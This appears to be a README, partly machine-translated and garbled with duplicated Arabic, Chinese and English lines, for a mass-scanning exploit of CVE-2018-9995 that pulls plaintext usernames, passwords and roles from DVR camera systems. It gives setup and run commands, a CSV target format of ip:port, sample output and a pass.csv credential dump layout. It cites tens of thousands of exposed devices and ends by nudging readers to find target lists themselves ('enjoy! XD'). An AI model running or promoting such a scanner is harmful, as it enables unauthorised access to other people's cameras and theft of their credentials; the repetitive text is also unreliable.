CVE-2018-9995_Batch_scanning_exp（last 2018-8-9）

نص برمجي لفحص الـ DVR الجماعي لثغرة CVE-2018-9995

##السيناريو الأصلي لاستغلال CVE-2018-9995 (Original code)

##التحضير البيئي (Environmental preparation)

python3، ubuntu

user@ubuntu:~$ sudo pip3 install grequests
user@ubuntu:~$ sudo pip3 install tableprint

##طريقة الاستخدام (usage mode)

قم بتخزين الأجهزة المراد فحصها في العمود الأول من ملف CSV بتنسيق ip:port

يتم تخزين الأجهزة المراد فحصها في العمود الأول من ملف CSV بتنسيق "ip:port"

csv_file = csv.reader(open('66b2f74b75457f73347f6a840bebc339.csv','r'))

قم بتغيير دليل ملف قائمة الأجهزة أعلاه إلى الدليل الحالي المستخدم

قم بتغيير دليل ملفات قائمة الأجهزة إلى الدليل الحالي.

user@ubuntu:~$ sudo python3 CVE-2018-9995_Batch_scanning_exp.py

تشغيل البرنامج

تشغيل

-----------------------------------501-------------------------------------------------------------

-----------------------------------501-------------------------------------------------------------

-----------------------------------501-------------------------------------------------------------

-----------------------------------NO.1-------------------------------------------------------------


 [+] Users List:	1

 [+] Users List:	1

 [+] Users List:	1

 [+] Users List:	1

 [+] Users List:	1

 [+] Users List:	1

 [+] Users List:	2

 [+] Users List:	1

يتم الإخراج كل 501 عنوان IP، 'NO' تشير إلى عدد الجولات، و'[+] Users List:' تشير إلى عدد المستخدمين في الجهاز الذي تم استغلال الثغرة بنجاح.

يتم الإخراج كل 501 عنوان IP، "NO" تشير إلى عدد الجولات، و"[+] Users List:" تشير إلى عدد المستخدمين في الجهاز الذي تم استغلال الثغرة بنجاح.

الإخراج هو ملف CSV باسم pass.csv

الإخراج pass.csv

--------+-----+----+-------+----.......
ip:port |uid1 |pwd1 |role1 |uid2.......
--------+-----+----+-------+----.......
        |     |    |       |    .......
        |     |    |       |    .......

##التحسينات على البرنامج الأصلي (Improvement on the original program)

1. 解决了部分设备401错误无法返回信息的问题(Solved the problem that part of the equipment 401 error can not return information.)
2. 解决了部分设备返回json格式不正确问题(The problem of incorrect JSON format for some devices is solved.)
3. 采用异步http请求，极大提高了扫描效率(Using asynchronous HTTP request greatly improves scanning efficiency.)

##توضيح الحالات المعروفة (letter of presentation)

1. 从各大web设备搜索引擎查询的结果上看本次漏洞设计的设备约有50000台，目前凡是有连接响应的设备均可利用该漏洞获取登录账户明文信息。

1.There are about 50000 devices designed for this vulnerability from the results of the search engine query for web equipment. At present, any device with connection response can take advantage of the vulnerability to obtain information on the login account.

2. 墙内扫描仅有6000多台设备有响应

2.There are only more than 6000 devices in response to the scan in china

3. 漏洞利用危害没有预期的那么严重，仅仅是视屏流获取权限，进一步对设备系统的控制权的获取还有待研究

3.The harm of vulnerability is not as serious as expected. It is only the right of access to the screen. Further access to control of the device system remains to be studied.

4. 弱口令真的多，扫描结果的80%均采用了弱口令。

4.There are many weak passwords, and 80% of the scan results use weak passwords.

قائمة الأجهزة المعرضة للثغرة تعتمد على قدراتك، فكر قليلاً وستجد أنها سهلة الحصول. استمتع! XD استمتع! XD

CVE-2018-9995_Batch_scanning_exp

الأكثر شعبية

CVE-2018-9995_Batch_scanning_exp（last 2018-8-9）